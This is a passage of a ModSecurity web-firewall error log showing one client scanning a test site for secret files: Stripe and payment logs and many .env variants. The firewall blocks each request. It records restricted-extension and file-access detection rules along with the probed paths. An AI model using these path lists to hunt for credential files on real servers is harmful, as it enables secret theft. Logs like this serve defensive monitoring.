"OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/stripe.log"] [unique_id "abHI-Eas0R32zSQmEomvRgAAABM"]
[Wed Mar 11 20:56:40.574118 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/stripe.log"] [unique_id "abHI-Eas0R32zSQmEomvRgAAABM"]
[Wed Mar 11 20:56:40.574262 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/stripe.log"] [unique_id "abHI-Eas0R32zSQmEomvRgAAABM"]
[Wed Mar 11 20:56:40.632172 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/payments.log"] [unique_id "abHI-P-pQA8QpEk0_N8YVQAAAAA"]
[Wed Mar 11 20:56:40.632434 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/payments.log"] [unique_id "abHI-P-pQA8QpEk0_N8YVQAAAAA"]
[Wed Mar 11 20:56:40.632591 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/payments.log"] [unique_id "abHI-P-pQA8QpEk0_N8YVQAAAAA"]
[Wed Mar 11 20:56:50.636610 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHJAqPPzlNIonXxp6eEmwAAAAw"]
[Wed Mar 11 20:56:50.636784 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHJAqPPzlNIonXxp6eEmwAAAAw"]
[Wed Mar 11 20:56:50.636924 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHJAqPPzlNIonXxp6eEmwAAAAw"]
[Wed Mar 11 20:56:50.672128 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "abHJAk08hzg1BXieW_K37gAAAAI"]
[Wed Mar 11 20:56:50.672303 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "abHJAk08hzg1BXieW_K37gAAAAI"]
[Wed Mar 11 20:56:50.672443 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "abHJAk08hzg1BXieW_K37gAAAAI"]
[Wed Mar 11 20:56:50.758491 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abHJAqPPzlNIonXxp6eEnAAAAAw"]
[Wed Mar 11 20:56:50.758680 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abHJAqPPzlNIonXxp6eEnAAAAAw"]
[Wed Mar 11 20:56:50.758832 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abHJAqPPzlNIonXxp6eEnAAAAAw"]
[Wed Mar 11 20:56:50.804513 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abHJAk08hzg1BXieW_K37wAAAAI"]
[Wed Mar 11 20:56:50.804735 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abHJAk08hzg1BXieW_K37wAAAAI"]
[Wed Mar 11 20:56:50.804882 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abHJAk08hzg1BXieW_K37wAAAAI"]
[Wed Mar 11 20:56:50.943563 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abHJAk08hzg1BXieW_K38AAAAAI"]
[Wed Mar 11 20:56:50.943745 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abHJAk08hzg1BXieW_K38AAAAAI"]
[Wed Mar 11 20:56:50.943902 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abHJAk08hzg1BXieW_K38AAAAAI"]
[Wed Mar 11 20:56:51.126529 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abHJA008hzg1BXieW_K38QAAAAI"]
[Wed Mar 11 20:56:51.126707 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abHJA008hzg1BXieW_K38QAAAAI"]
[Wed Mar 11 20:56:51.126872 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abHJA008hzg1BXieW_K38QAAAAI"]
[Wed Mar 11 20:56:51.725778 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHJA-BvFsx28IYw-q9nGgAAAAg"]
[Wed Mar 11 20:56:51.725954 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHJA-BvFsx28IYw-q9nGgAAAAg"]
[Wed Mar 11 20:56:51.726076 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHJA-BvFsx28IYw-q9nGgAAAAg"]
[Wed Mar 11 20:56:51.753227 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abHJAwGa7hTYdm05K1T1xAAAAAU"]
[Wed Mar 11 20:56:51.753436 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abHJAwGa7hTYdm05K1T1xAAAAAU"]
[Wed Mar 11 20:56:51.753577 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abHJAwGa7hTYdm05K1T1xAAAAAU"]
[Wed Mar 11 20:56:51.773349 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abHJA5X0JxooV6RUP8UrbwAAAA4"]
[Wed Mar 11 20:56:51.773528 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abHJA5X0JxooV6RUP8UrbwAAAA4"]
[Wed Mar 11 20:56:51.773618 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abHJA7VttqDN05FhB27JCAAAAAs"]
[Wed Mar 11 20:56:51.773654 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abHJA5X0JxooV6RUP8UrbwAAAA4"]
[Wed Mar 11 20:56:51.773843 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abHJA7VttqDN05FhB27JCAAAAAs"]
[Wed Mar 11 20:56:51.774001 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abHJA7VttqDN05FhB27JCAAAAAs"]
[Wed Mar 11 20:56:51.805089 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.uat"] [unique_id "abHJA0as0R32zSQmEomvSAAAABM"]
[Wed Mar 11 20:56:51.805261 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.uat"] [unique_id "abHJA0as0R32zSQmEomvSAAAABM"]
[Wed Mar 11 20:56:51.805381 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.uat"] [unique_id "abHJA0as0R32zSQmEomvSAAAABM"]
[Wed Mar 11 20:56:51.844696 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abHJAyCgtlFRCZQ_mzOvkgAAAA8"]
